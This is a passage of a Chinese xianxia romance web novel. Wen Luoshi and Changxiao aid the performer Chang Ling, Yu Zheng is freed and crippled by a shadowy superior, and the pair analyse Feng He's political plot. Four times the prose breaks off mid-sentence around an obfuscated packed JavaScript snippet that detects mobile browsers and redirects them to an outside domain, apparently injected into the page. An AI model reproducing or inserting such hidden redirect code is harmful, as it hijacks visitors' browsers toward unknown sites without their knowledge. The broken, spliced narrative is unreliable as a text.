她以为长晓会在此时说什么,但出乎意料,长晓也是沉默,且目光复杂。他像是太懂这种感受,又因此受过太多伤,伤口被这句话唤醒,自己正在无限回味着。 有时候命运很奇怪,就是会在这么像的三个人的命运中安排一场相遇。他们甚至不需要过多解释受过的苦楚、历经的挣扎,就能懂彼此是曾经是多么窒息过,而如今,所有人都在捧着伤口,继续向前走。 可能长晓比她们两个好一些,熬过来得多一些。 但是处于这种社会下,以琴棋书画曲艺诗文为介,以露烟为道者,都很难有光明正大、喘上一口新鲜空气的时刻。 仿佛在面临一场巨大的黑暗笼罩,而这团黑在他们身上堆积成山。他们被看似极轻的一层层薄土压得死死的,只能在缝隙中求生。 其实余峥说的是事实,但三人都刻意回避了这一点,没有正面去谈及。 余峥这种人,哪怕卑劣至极,走在街上,就是比别人直得起腰。 因为他是这个拜高踩低规则下的胜利者。他可以什么都不做,就站在最顶层。他不需要知道自己想干什么,只觉得身怀紫光,是一种最高层级的象征。 别人也不需要管为什么,就是会对他阿谀奉承。 但这不合理。 文落诗之所以愿意帮助常绫,就是因为,这种扭曲的社会,她不接受。 长晓也不接受,所以他才会愿意跟落诗一起走。 很多人都在漫无目的地做着自己其实并不喜欢的事,只为了能在社会中立足。而最宝贵的,就是常绫这种,明知苦楚,却依旧不动摇内心喜爱的人。至少,她的内心是自由的,她在做和别人不一样的事。 文落诗感慨良久,却听常绫道:“好了,多谢你们今日来帮我,我真是感激不尽,不耽误你们太多时间,快走吧。” 她和长晓目送常绫一路走出院子,才准备离去。 文落诗看着准备直接跃向空中的长晓,疑惑:“你不打算隐去身形了?” “我方才想了想,觉得没必要隐身了,”他看向文落诗,眼神中有不少情绪翻涌,“我们帮常绫,必然会涉及到最终要对外,既如此,藏一时半会也没什么意义。” 文落诗一想,觉得是这个道理。 长晓接着道:“而且,这一切像是故意在引我入一个安排好的局中,执棋者的目的,就是看我逐渐被卷入,然后一点点被吞蚀,最终精神崩溃,放弃一切。如今若是再藏下去,反倒是顺了对方的意。” 文落诗眨眨眼:“你政敌啊?” 长晓一笑,也不打算隐瞒了:“差不多吧,你可以这么觉得。” 文落诗也笑了:“行,我虽然不沾政治,但帮帮你,还是没问题的。” 长晓看着文落诗,笑得有些无奈。他内心清楚,在自己身边,沾不沾政治,已经不是她能选的了。但既然她不想,自己也不会过多拉她下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661250|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。 文落诗看他许久没说话,补充道:“你放心,我该明白的时候明白,该糊涂的时候,我也不打算这么明白。” 这算是表明不入局的态度了。 长晓心想,这个姑娘很多时候比自己都通透,比自己都适合叱咤风云,可她偏偏这么抵触政治。虽然有时候真觉得可惜,但她若是真的不愿意,自己也肯定不强求。 两人跃向空中,一路飞行,从寻光的院落处离开。 一路十分沉寂,可能因为刚刚对话的缘故,文落诗一直没打算开口。 长晓却似乎想说什么,一直在酝酿。 终于,在快回到观雪茶楼时,长晓忽然说道:“落诗,刚刚对付余峥,我也出手了。” 文落诗莫名其妙:“所以?” “所以,”长晓的身子轻盈地落在了观雪茶楼的屋顶,转头紧紧盯着文落诗的眼,一字一句道:“你想自己去承担所有后果,让我装作不认识你,不可能。” 文落诗心跳实实在在漏了一拍。 她当时真的是不知后果如何,忽然脑子一热,像交代后事一般,跟长晓说了那么一句。在对付完余峥后,她也意识到了不对劲,因为她在千钧一发之际,首先考虑的竟然是长晓的安危,而不是自己的。这是她这辈子没有过的想法,她也觉得很奇怪。 不过,她此时的惊讶,是因为她本来想装作忘了,把这件事就这么接过去,可长晓忽然跟她翻旧账一样,重新提起。 正在她不知所措之时,长晓看向远方,呼出一口冷气,又补了一句:“而且,你以后最好也别想着跟我划清界限。” 这回文落诗彻底懵了。 此刻,两人站在屋檐上,颇有一番登高望远之感。 寒声城的房屋普遍不高,观雪茶楼有两层,再加上为了抵御寒冷而建造的厚厚一层屋檐,和上方翘起的瓦片,立于其上,足以纵观全城之景。 放眼望去,是一座座鳞次栉比的房屋,穿插着或是车水马龙、或是清冷无人的街道。远处薄雾之后,是连绵不断的群山,整整绕了这座城一圈。 仿佛这一瞬间,整个寒声城的或喧闹或沉寂的景色,尽收眼底。 冬年最冷的时候已经过去,即将迎来的是逐渐温暖的春年。如今寒气笼罩下,整座城显得苍白、安静而无力。可用不了多久,远处的山会变成绿色,一片盎然会逐渐铺张开来,山下屋顶的瓦片会重新变得油亮,街角的花会重新绽放五彩之姿,街上的人也会重新变得朝气蓬勃。 文落诗不知道该如何评价这种心情,好像如今这番尽收眼底的景色,是被长晓拉着才看到的。 她不会有这么宏伟的内心,往日里,也不会为这全城的画卷而感到震撼。 可如今,她却觉得,有些事情想不明白了。 就好像,如果想要帮常绫,或者未来可能遇上的无数个常绫,就必须得披上往日的狼藉,弃掉逍遥世间的私心,登上这浓墨重彩的金银楼,去看看整个世间。 在高处看到的民生百态,和身处其中所看到的,似乎真的不一样。 长晓方才那句话,她不知道该如何去回应,直愣愣地看着眼前的景色,有些迷茫。 35. 寒声不解戏中人 冬年远去,春季即至,偶有风起,夜色掩盖下,无数枯枝都在蠢蠢欲动,仿佛在酝酿一场巨大的爆发。 一阵风吹动了院中的树枝,枝头震颤不已,吓得那正在上方熟睡的鸟儿拼命扇翅逃走,生怕再晚一刻,就会被这阵风销蚀得再无活路。走得急了,那双翅膀竟挥得十分狼狈,紧赶慢赶,差点一个不平衡就摔落在地。 鸟儿消失在夜黑中之时,房间里突然亮起了一个火折子,瞬间把漆黑依旧的房间闪得极亮。 余峥眯了很久的眼睛,才适应了这突如其来的亮光。 ——以及,亮光之中,站着一个黑影。 他吓了一跳,想要起身行礼,却被自己身上那股强大的力量拉回原处,再也动弹不得。他错愕不已,嘴角颤抖了半天,不知道该说话,还是该闭嘴。 “呵,也没我想象中那么狼狈么。” 那黑影开口说话了。 这是个实打实的活人,周身萦绕着无数黑气游丝,长长的黑色斗篷从头顶垂到脚面,也叫人看不清他的面目。相较于人形,他轻飘飘进来、鬼魂一般出现在余峥面前的样子,更像个黑气而成的影子。 他声音低沉,却带着太过强大的压迫感,一下子如水波般蔓开,流淌过房间的每一寸角落。 见余峥神情复杂,欲言无辞,憋屈得要死,也不张口,黑影才明白,他的嘴似乎被封住了。 一道巨大的蓝光抽过余峥的嘴巴,他吓得一个激灵,那两瓣干裂的嘴唇终于可以张开了。 “大人您……您这么知道我在这里……” 那黑影走近了些,打量着余峥吓破魂一样的神情,欣赏了好半天,直到余峥的脖子一个劲往后躲,撞上了后面的墙。 听到余峥脑袋撞墙“咚”的巨响,他才低声一笑,缓缓道:“朱紫虽然没你修为高,但脑子比你转得快多了。她起码还知道给我递个信,不像你,让我都不知道该说什么好。” 明明是带着笑意的话,却听起来令人毛骨悚然。 余峥大致明白了,是朱紫不知何时发现了自己被关在屋内,而她又无法进来救人,只能给上面传信。他身上的粉烟还在萦绕着,那黑影凑近一看,笑叹:“倒是也不怪你,毕竟前些时间,连尹岐都败在她手上了。啧啧,事情挺有意思。” 余峥瞬间睁大眼睛:“您说什么,白日那姑娘竟然……尹岐这么了?” 那黑影不理他,视线缓缓移到余峥的右手上,注意到那闪烁的点点蓝光时,他身形一顿。仿佛想到了什么,他嘴角一勾:“你面子还真够大的。” 余峥牙关打颤:“是是是……我是有多大面子,劳烦您亲自来救。” 那黑影也懒得解释,只是一扬眉:“救你?” 余峥这下连整张脸都在抖了:“大人不是来救我的?那是……来杀我的?不要啊,我求求您,求求您,我以后一定小心行事,我……” “行了,吵死了。没一句有用的。” 余峥不敢再说,却急得要死,眼泪都快出来了。 那黑影又缓缓道:“你小叔叔听闻你出事,亲自出面,来我殿前跪了两个多时辰,不求别的,就求我留下你性命。本来像你这样没用的人,我是不想留的,但念在他这么多年跟随我,功劳苦劳都有,我暂且同意了,你且回去感谢他吧。” 余峥听明白了,这是饶过自己了。他脸上每一个毛孔都充满了感动。 他觉得身上一松,束缚的法力顿时被解开。他被捆绑已久,根本坐不稳,正要倒地的时候,忽然,一束巨大的蓝光向自己袭来,随即,一阵剧痛在全身上下蔓延开。 “活着可以,但是我想了想,还是把你的修为全废了吧,反正留着也没什么用了。” 余峥瞳孔一缩,疼得龇牙咧嘴,重重砸在地上。他手臂紧紧环在身前,双腿蜷缩,全身抽搐。 终于,他忍不住叫出声来,那是一种发自肺腑的嘶吼,只知道无尽地发泄,根本顾不上其他。 忽然,余峥觉得嘴上又挨了一阵痛,转而,再次无法发出声音来。他眼角处凝聚了无数的眼泪,巨大的汗珠也滚滚从额头上留下。无法再靠嘶吼来分散注意力,他只能紧咬牙关,强忍疼痛。 “太吵了,以前怎么没发现你这么吵。得亏那姑娘设了个结界,外面听不到。” 那黑影对此不屑一顾,甚至背过身去,懒得看他。 又一阵风吹过枝头,吹得那枯枝上下乱窜,胡乱摆动。许久,一切归于沉寂,夜色已久,仿佛什么也没发生过。 * 翌日,文落诗是被敲门声吵醒的。 她迷迷糊糊,翻了个身,嘟囔道:“长晓,能不能帮个忙,去开个门……” 此刻确实还早,就连长晓这种习惯早起的人,都是刚起不久。他本在看着桌上的几份来信,忽闻有人大清早敲门,心下奇怪,正准备起身,就听见文落诗懒虫一样的声音响起。 他无奈地笑着摇摇头,去开了门。 来的人正是阿妍。 “主子,茶楼门口有个不认识的姑娘,说出大事了,来找你和文姑娘。” 文落诗迷糊中听见这话,“腾”地一下从床上坐起来,没等长晓回答,她就冲着门口的方向说:“阿妍,你快让她进来。” 她昨日把茶楼的位置告诉了常绫,以防万一。她是没想到,这万一还真来了。不仅来了,还是大清早来的。 不一会,常绫披着乌黑的斗篷,匆匆忙忙提着裙摆跑上楼。她头上的斗篷帽子深深压住脸,让人看不清她的容貌。 她见门口之人是长晓,把帽子一摘,立刻气喘吁吁道:“出事了。余峥不见了。” 文落诗此刻刚下床,腿脚还有些发软。她火急火燎穿好衣服,头发也懒得认真梳了。隔着屏风,隐约中,她看见长晓把常绫领进屋坐下,关上门。 同时,常绫坐下后,隔着屏风,看到还没穿好衣裙的文落诗的影子,面色一滞。 “抱歉啊,我不知道你们俩住一起。” 文落诗从屏风后出来,懒得详细解释,只道:“你们戏班子的演出太火热了,没别的房间了,最近就凑活凑活。” 常绫眼珠子一转。 文落诗一个饱读各种话本的人,当然知道她在想什么,正想打断她的思绪,却听长晓先开了口: “你说余峥不见了,怎么回事?” 常绫一路赶来没喝水,此刻一整杯茶饮尽,喘息着道:“我今天早上路过那间屋子,本想着顺便看看里面的情况,谁知我一看,里面空无一人。” 文落诗心下一慌:“阵法是我设的,余峥身上捆绑的术法也是我施的,他修为在我之下,是不可能自己逃走的。除非有人从外面救了他,且这个人的修为,一定高过我。” 常绫点头:“我也是这样想的。毕竟,你的实力我是知道的,由此可见,能把余峥带走的人,应该不容小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694363|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觑。” 文落诗这些年有多拼,炼成的修为有多高,她自己最清楚不过了。只不过她几乎没出过手,没人知道,所以江湖传言中也没有她的名字。这么多年,因她不靠近任何政局,故日常中也见不到那些传说中修为极高的人。前段时间碰见一个长晓,修为不仅比她高,还高到一个她似乎无法理解的高度,已经让她很意外了。 可是如今,余峥消失是个明晃晃的事实。文落诗想到这里,脊背有些发凉。 长晓听着她们的对话,手臂支在桌上,指尖轻点着额头,略有所思。 文落诗察觉到长晓的脑子在转,便问道:“长晓,你怎么想?” 其实,问完这句话,她反倒有些后悔。万一长晓真说出什么,她可能听到了之后,就再也没办法装作不知道了。 不料,长晓想的却是另一件事。 “余峥被带走,证明他八成是谁安排在你们戏班里的内线。我在想,这也说明,你们戏班里,恐怕不止他一个内线。” 文落诗飞速追问:“谁安排的?” 常绫几乎同时开口:“有人通风报信?” 说完,两人都意识到,似乎她们关注的重点并不一样。 长晓看了眼文落诗,眼神有些复杂,好像在说,我虽然知道,但就不回答你的问题了。 于是,他转头向常绫:“对,按照逻辑,你们戏班子的位置没有别人知道,除非自己人泄露出去。” 文落诗和常绫都觉得有理。 三人又讨论了一会,决定依旧先按兵不动。 长晓的逻辑是,既然余峥已经被带走,那他应该不会再回来了。另外的那个细作,但凡是个有脑子的,此刻就不会轻举妄动,暴露自己。所以,常绫即使回去,也大概率是安全的。 文落诗很疑惑他为什么得出这个结论。余峥是被谁带走的,不会回来报复吗?带走他的人不会亲自来报复吗?但她没多问。她总觉得,没必要当着常绫的面,让长晓说出太多敏感的信息,以至于又多了一个人至于危险之中。自己说不定哪一天就被长晓拖下水了,但没必要再多一个常绫。 常绫这回胆大,决定今天晚上回去,就装作什么也没发生,等待着戏班里别人比她“先一步”发现主管事失踪这件事,再看看所有人的反应。 长晓找来阿妍,麻烦她去查了一些事情。具体是什么,他们二人是传音入密,文落诗和常绫都没听见。 送别常绫时,文落诗出门后,特意把门关上,一路送她到茶楼外。她凑到常绫耳朵边,悄咪咪问道:“你有没有发现,长晓其实知道很多事,但是他不说。” 常绫点头:“当然,我看出来了。但是我有种直觉,他不说,是不希望我被牵扯进一些事情里。” 文落诗略微惊讶:“你也这么觉得?” “对,其实最近,我也觉得不正常,”常绫十分平静,好像在用最平静的话语,讲出最残酷的事实,“往日这么多别的戏班子演出,总有坏角色,但没有任何一个出演者,像我一样,被全城人骂得这么惨烈。我总觉得,有人在设局,随便找个人开刀,而那个人刚好是我。” 她说完,缓缓把帽子戴好。斗篷连着的帽子十分宽大,整整遮住她半张脸,旁人完全看不出容貌。文落诗有些心疼,叮嘱她一路小心。 常绫走后,文落诗也出门了,一直到很晚,街上打更的人已经一慢一快连敲三次锣鼓,才回到茶楼里。 36. 寒声不解戏中人 长晓看着桌上的信件,以及阿妍随后送来的消息,就这么坐了一整天。 他很容易想明白这是怎么回事,也可以将这些直接告诉文落诗。身处泥潭之中的人,见得多了,遇上这种故意而设的局,一眼就能看出背后之人的目的。但是这件事太过于复杂,以文落诗的脑子,他一笔带过的讲法是不可能的,必然会被她发现端倪,所以,若是要讲清楚,势必要涉及诸多机密。 他说出来不要紧,但文落诗毕竟不是“自己人”,若是知道了这些尚未公开的大事,是没办法有好结果,搞不好这条命就不是她自己说了算了。虽然他很不愿意把文落诗当“外人”来看待,但政治之中,确实不能有任何心慈手软,否则一连带输的,是身后和手下所有人的命。 除非,文落诗变成自己人。 但她又打死不染指政治。 倒真不怪长晓动了歪心思,其实还有另一种方法。不过,他想着文落诗平日里云淡风轻、无欲无求的样子,仿佛一个人是她最好的状态,使得长晓虽真的对她有心思,但实在舍不得去强求。 他不想因为自己一个人的感情,而从此困住另一个本应无关的人。 长晓知道,文落诗跟自己待久了,由于自己的身份,很多矛盾会慢慢浮出水面。倒不是说两人会吵个你死我活,而是像今日这种事情,就不好处理了。 正当他苦恼之时,文落诗回来了。 他一拂袖,桌案上的信件统统消失。 文落诗推门之时,刚好看到信件泛着蓝光消失的场景。 “我不看,你放心。”文落诗走到桌案边坐下,给自己斟了一杯茶,大有一番劳累一天后自斟自饮之姿。 长晓倒是不急,静静等她喝完,问道:“去哪了?这么累。” “我在书海中畅游了一天,厉害吧?”文落诗一仰头,笑得十分灿烂,“我去了趟寒声城的藏书阁,补了补当今政局的知识。” 长晓双眸渐渐睁大。 “没想到吧?我也有这么拼命努力的时候。”文落诗笑盈盈地说。 “我是没想到,”长晓闭眼,带着一丝无奈,“其实,你要是真想知道,可以直接来问我的。” “不用,我之前一个人待惯了,自己看书思路更清楚一些。” 文落诗顿了顿,准备开始超长的演讲: “我觉得,当下核心问题,不在于上面那群朝堂中的人整天在争什么。他们谁和谁斗不是我能管的。问题在于整个社会上,很多根本不了解政治的普通人,受到了极大的波及,比如我和常绫。我不知道你算不算。当然,截止到目前说的这些,都是废话。” 长晓听到最后一句,“扑哧”一声笑出来:“一点也不废话。一般人意识不到这点的。” 文落诗闻言,酝酿了一番,接着道: “余峥之所以敢这么欺负常绫,再加上这么多人不问缘由就敢造谣诽谤她,表面原因是她出演了个坏角色,实则不然。更深层的原因,是这个社会看不起像她一样的露烟之人,欺负她不需要有任何代价,因为她本就是被鄙视的最底层,说她坏话和欺负她,好像在碾死一只蝼蚁一样轻松自然。 “就像余峥说的,现在的情况是,他走在街上,就是比常绫直得起腰。这个想法很扭曲,可大多人意识不到这种社会共识有问题。这个你应该也知道,不然,之前你就不会说我们是一路人了。” 长晓眼神中有笑意,点头。 接下来,文落诗的语气略带试探:“那我接着说了?” 长晓抬眸,静候她下面的话。 文落诗像是下了巨大的决心,一咬牙,道:“我个人认为,核心问题,出在风壑身上。” 此话一出,长晓面色十分平静,静得像一潭死水,看不出任何情绪。但文落诗注意到,他的上扬的嘴角落了下来。 越平静,越能证明内心最深处的慌乱,哪怕只是一瞬间的慌乱。 这一点,她和长晓特别像,表面镇定得很,实则恰恰证明了一点也不镇定。所以,她一下子就明白,自己猜对方向了。 可长晓从此沉默,一直没有回答。 她实实感到心下一慌,语气有点蔫:“我直呼大名,是不是不太好?” 长晓双眸抬起,仿佛一汪巨浪涌动,风吹过他幽黑的发丝,好似无数道暗流袭来,文落诗觉得,恐怕下一秒,要被他这阵巨波卷进去。 她从来没觉得,长晓这么可怕、陌生。 两个人之间只隔了半臂的距离,却仿佛隔了九重天之远。 一时间,周围的光似乎黯淡下来,夜色流进屋中,空气中形成了一种巨大的压迫感,仿佛势必要让人窒息。 “又没有别人在。”长晓那双锁死的眼眸松动开来,“再者,你在我面前,说什么都可以。” 说罢,他注意到文落诗整个人木木的,才意识到,刚刚那种氛围恐怕彻底吓到她了。 “是不是又吓到你了?”长晓起身,仿佛用行动来戳破了周围凝结的全部空气。两人本是坐在桌案的两侧,是对坐,但长晓此刻落座在文落诗身边的椅子上,离她更近了些。 “我方才想到了家里一些事,可能情绪失控了,你……” 话还没说完,他就瞧见文落诗一双水汪汪的眼睛向他直直看来。此情此景,他再也说不出任何话,只剩下哑然。 “你是不是不想提他?那我不说了,呜呜。” 文落诗是真的快被吓哭了。她第一次痛恨自己太没见识了,稍微见识一点政治的可怕,就被吓出眼泪了。还好眼泪没落下了,就在眼眶里转了两圈。她抬头看向天花板,让眼泪倒流回去。 长晓见状,实打实地慌了,总不能上前一把抱住她,又不可能就这样傻愣愣地看着,一时间他如坐针毡。 他第一次知道,面对一个人,自己也可以这样无措。 许久,倒是文落诗先调整过来,恢复平静:“好了,我刚刚说到哪里了?” 长晓闻言,从愣神中回过魂来。 “你说得,一点错都没有。” 文落诗将信将疑地抬眼。 “我方才还在想,有时候,我真的反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726549|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复怀疑你是谁,怎么会聪明成这个样子。毕竟当今没几个人能想到这一层,而你竟然看了一天的书,就把逻辑盘出来了。”长晓是想缓和一下气氛,但他的夸赞也是出自内心的。 文落诗听出来他的意思了,小心翼翼道:“其实我很不确定,因为外面藏书阁的资料肯定有限,又不是什么当今的正经宗卷。我就是复盘了一下最近的事情,分别按照蛛丝马迹,找了些家谱,以及近些年的大事纪录书册,勉勉强强凑出一个思路。” “不必妄自菲薄,你的脑袋就是很灵光。”长晓看着文落诗那缕歪了的头发在身后晃了又晃,便伸出手,轻抚过她的脑后,顺平了这一缕青丝。 文落诗眨眨眼,继续道:“那我继续说?” “嗯。随便说。我听着。有跑偏的或者落下的,我帮你补上。” “之前我在稀音城碰上过一个老婆婆,她跟我透露过,在她们那个时代,社会不是现在这样。结合之前碰上尹岐,如今碰上余峥,还有我遇见你之前碰上的一堆破事,我去查了一下这些人的背后都是什么,比如属于什么家族,如今家中有谁官拜什么位置,什么时候入朝的。” 长晓沉默,但目光中有些赞许。 “本来觉得希望渺茫,却意外发现,有些人还真的能跟朝堂扯上关系。而这些乱七八糟的事情,大多都是在沧海历五千年之后陆陆续续发生的。那几年的唯一大事,就是风壑作为当今大祭司,开始推行一套新政。随着新政越来越普及,朝堂上也逐渐多了不少他的党羽,比如,我没猜错的话,尹沥,就是官拜大司马的那位,就是其中之一。” 长晓颔首:“你思路没错,结论更没错。而且,我可以直接告诉你,尹沥以及他那一家子,如今都是风壑的人。这是不是秘密了,但凡沾点政局的人都知道。不过,我倒是好奇,你怎么猜到的?因为尹岐?” 文落诗给自己倒了口茶喝:“他确实是个重要线索,但更多的,还是我根据时间线所推断的。尹沥这个人很奇怪,在沧海里五千年之前,我能看出他本有告老还乡之意,可他却在新政后,整个人的行事作风有很大转变,像是在努力维护新政的实施,对各种政事都十分上心,而且他本就是兵将出身,也曾任将军之位,更是对军事密切关注。从时间点上看,这就很能说明问题。” 长晓笑叹一口气:“你厉害。” 文落诗补充道:“但其实我很想知道,风壑的新政到底是哪一点触动了尹沥,尹沥为什么会有如此重大的转变。肯定不是为了自己,因为他本人是沉碧出身;也不太像是为了身边人,我翻了他的生平,发现他所有子女健在,家中和睦,只不过妻子已逝。但这是近几年的事情,时间也对不上。主要是他活太久了,万年前大战时就在了,当今还留存的关于他早期的记载不多。哇,研究一个比自己年龄大十几倍的老前辈,还真够累的。” 她又喝了口茶,眼神有些坚定,仿佛在说一件极重要的大事: “按理说,一个已经建功立业、大有成就的人,也没什么仕途上的需求了,不应该随随便便为别人做事。” 37. 寒声不解戏中人 文落诗问出了一个非常值得深思的问题。 尹沥究竟怎么想的,就怕只有他自己知道。而没有人知道的话,就相当于一个随时都可以爆发的毒液弹。 长晓思索片刻后,答道:“我还真想过这个问题,但这些年,的确一无所获。” 文落诗惊奇:“竟然还有你不知道的啊?” 长晓无奈:“你把我当什么了……” 文落诗想了想:“我一直觉得,你比整个藏书阁都有用。” 长晓彻底无语了:“扯远了,这个话题结束。说回正事。” 文落诗看着他扶额样子,甚是好笑,便接着叨叨:“还有余易,我之所以查他,是因为他和余峥都姓余。余峥虽然没有明确的证据,但我猜测,他是十有八.九是风壑手底下的人。因此,我其实怀疑,是风壑手下的人把他带走了。” 长晓颔首:“嗯,非常有理。” 文落诗接着道: “说回风壑,他推行新政之前,其实早就有各种苗头,从一些小的地方志中也能看出来。不过这些太复杂了,我也管不了。当下最大的问题,是他的新政最大弊端已经尽显,如今整个魔界的共识已经变成了‘五道之间就是存在高低’,且所有人都在有意无意地拜高踩低,无意识地维护这个局面。” 说到这里,文落诗凑近长晓的耳朵旁,用手一遮,小声道:“我甚至有种感觉,这并不是新政的弊端,而是他的真正目的。只不过最开始不能暴露,等待时机一步步成熟,他就控制了所有人的思想。” 长晓震惊地看着文落诗。 “怎么了?我思路出错了?” “没有,你继续说就好。” 长晓只是觉得,他今日太过于震撼了。 他身边或者手下仅有的那些觉醒者,都是懵懵懂懂意识到这一点,其中,大多都是稍微清醒过来,却没办法这么透彻地看待这件事。毕竟谁会有胆识跳出整个根深蒂固的观念,去思考观念本身呢?就连他本人,都是当年为了实现自己在曲乐上的追求,饱受思想上的折磨,才冲破了这个观念,意识到了巨大的问题所在。 而文落诗看了一天书,用她那灵光的脑子,结合自己这些天的经历,愣是全盘分析出来了。 她甚至跨过了表面,直接点出了风壑这些年的最终目的。 “他的主动支持者众多,盲目支持者更多,久而久之,他变得越来越强大。我可以说句大逆不道的话吗?”文落诗看着长晓的眼睛,小心翼翼试探。 长晓斜眼看着她,嘴角一抽:“有多大逆不道?” 总不至于把他说死了。 “我看史书很多,按照现在的情况发展,他恐有谋权篡位之嫌。表面上,他对民宣称,自己做的一切是为了魔族的强大,以在万年战约到来之际,魔族可以有足够的实力,赢得此次大战。但是然后呢?赢了之后,他自然功劳重大,深得民心,从此一呼百应。而且,最可怕的是,如果我的小道消息没错,尊上近些年来身体不太好。” 文落诗说完,乖乖闭嘴,一个字都不敢多说了。 长晓愣了好半天,眼神飘忽。接着,他略有深意地看着文落诗。 这就是旁观者清吗?她一个从来没接触过政治的小姑娘,比自己这个身在局中的人,要看得清楚多了。 文落诗看着他的眼神,立刻澄清:“不是不是,我纯属瞎猜的,没有证据,也不代表任何立场……” “我倒是真觉得,你说得在理,”长晓一口将茶饮尽,看向远处,“毕竟,我也是这么猜的。” 此话一出,换作文落诗愣住了。 “所以,如果真的如你所想,你打算怎么办?”长晓收回飘渺的眼神,重新看向她。 “我还能怎么办?”文落诗指着自己的脸,以一种摆烂的语气道,“我一个弱女子,跟朝堂八杆子打不着,又干涉不了他,他爱咋咋地呗。” 长晓没想到她这么回答,一时间被气笑了:“我问的是,这跟你处理常绫的事,有什么关系?” “我现在的思路是,既然他想通过自己那一套歪门邪道的理论控制民心,我就从这一点出发,去打破这个局面,才能救常绫。” 长晓眼神一亮:“细说。” “我虽然不能冲进风府里把他揪出来揍一顿,好吧,我确实打不过他,但是我可以试着改变更多普通人的想法,让更多修不同道的人能把腰板挺直。 “常绫,现在最大的问题,是旁人的碎嘴,对她造成了巨大而毁灭性的影响。可以试着摧毁谣言,想办法帮她重新立足于世间,也让更多人从此知道,哪怕是被视为最底层的露烟,也有自己的价值。” 长晓道:“你这个想法我倒是同意,就是不太现实。” 文落诗眼神一暗:“我知道,说这些很容易,真正做起来,比什么都难。我真的只是个不能再普通的人,可能只是稍微努力了一点,比别人修为高一点罢了。我不可能救所有人,也没有这种雄心壮志。但是,我觉得,能多帮一个人,是一个。我认识常绫,既然被我碰上这件事了,我就想着应该帮帮她。怎么说呢,毕竟,你当时就帮了我。” 她眼巴巴地看着长晓,期待他说些什么。 长晓没想到她此刻提及自己。他意识到,今天的文落诗,说出了比往日都多的话,她一个看似对一切都云淡风轻的姑娘,实则比任何人都坚定、清醒、强大。长晓终于明白,为何之前彦月告诉他,文落诗铁了心不参政是个多么遗憾的事情。他甚至不敢想象,文落诗要是真有走仕途的心思,会厉害到什么地步。 不过,他太过于庆幸的是,自己的直觉没出错。文落诗跟自己,完完全全是一路人。 甚至,这么多年,他从来没遇上过像她一样,与自己思想如此契合之人。 “明天再说?今天你太累了,该好好睡一觉。至于常绫的事,明天见到她,再具体商量。” 文落诗正好也不想再聊下去了。她也意识到,今天晚上说了太多话,这些话,她从没想过会从自己嘴里说出来。而且,这些话实则危险得很。 想到这里,她战战兢兢看了看长晓: “那个,长晓,多谢你今天晚上听我叨叨这么久。但是,你可千万别跟别人说我怎么想的。我还想活得久一点。” 她知道这个要求很苍白无力。但长晓竟然毫不犹豫地点了头。 “我该谢你才是。” 文落诗面色有些疲劳。她虽不知道长晓为何要谢她,但还是挤出一丝笑。 “我今天灰头土脸,得去阿妍那里沐浴了。” 看着文落诗抱着一身新衣裳推门而出,长晓想了半天,还是叫住了她。 文落诗脑袋一歪,静待佳音。 “落诗,”长晓阖上眼,“我知道,跟我在一起生活,你恐怕很累,经常要遇见意料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740499|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之外的事情,还要耗费心思去面对。我知道你的生活不该是这样的,最重要的是,你也不喜欢。” 文落诗心头一紧。是,她确实很累。她知道长晓还没说完,所以没开口。 长晓重重叹了口气,闭了很久的眼睛,仿佛在舍弃最重要的什么。最终,他重新睁开眼睛: “常绫的事情结束之后,若是你想离开,想按照自己的志向去旅行,去浪迹天涯,去看更多风景,去更多地方投稿,就去吧。 “我不会再要求与你同行了。这次跟你一起来寒声城,是我不对,虽然你很多事情并不知情,但我很清楚,我恐怕真的困住了你。我不该闯入你的生活过多,以至于给你带来太多困扰。 “你该有自己的生活,听你自己的。” 见她双眼迷茫,朱唇轻抿,长晓最后道:“我说完了,你快去洗吧。早些回来休息。” 文落诗下楼梯的时候,和阿妍一起搬浴桶的时候,和洗浴的时候,都一直在咀嚼长晓的话。 